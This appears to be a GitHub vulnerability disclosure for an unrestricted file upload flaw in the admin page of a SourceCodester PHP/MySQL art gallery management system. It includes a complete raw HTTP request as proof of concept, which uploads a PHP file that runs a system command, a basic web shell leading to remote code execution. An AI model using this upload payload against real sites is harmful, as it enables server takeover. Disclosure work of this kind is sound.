Skip to content

SourceCodester Online Art Gallery Management System Project using PHP/MySQL 1.0 admin/adminHome.php Unrestricted Upload #29

Open
@CveSecLook

Description

@CveSecLook

SourceCodester Online Art Gallery Management System Project using PHP/MySQL 1.0 admin/adminHome.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Online Art Gallery Management System Project using PHP/MySQL

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • zebra11

Vulnerable File

  • admin/adminHome.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • The input obtained from line 37 of the "admin/adminHome.php" file is used in line 39 of the "admin/adminHome.php" file to determine the location of the file to be written, which may allow attackers to change or damage the content of the file, or create a brand new file.
  • 1

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

  • zebra11 found that the file upload operation was triggered in admin/adminHome.phpalt text, and the _FAILES variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

  • The picture I uploaded here is a photo of carrying a Trojan horse, but due to character confusion, I took a screenshot directly.
  • 2
POST /admin/adminHome.php HTTP/1.1
Host: 192.168.31.212:8112
Content-Length: 411
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.212:8112
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeU9BPA4FgayRwx5r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.212:8112/admin/adminHome.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4tbj4irii9kpe3h2lri2354256
Connection: close

------WebKitFormBoundaryeU9BPA4FgayRwx5r
Content-Disposition: form-data; name="img_id"


------WebKitFormBoundaryeU9BPA4FgayRwx5r
Content-Disposition: form-data; name="sliderpic"; filename="rce.php"
Content-Type: image/jpeg


<?php system("ipconfig"); ?>
------WebKitFormBoundaryeU9BPA4FgayRwx5r
Content-Disposition: form-data; name="sliderPicSubmit"


------WebKitFormBoundaryeU9BPA4FgayRwx5r--


Burp screenshot

  • 3

Upload file name change, rule is to add a "Slider" before the original name

  • 4

I successfully executed the PHP script on the terminal

  • 5

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions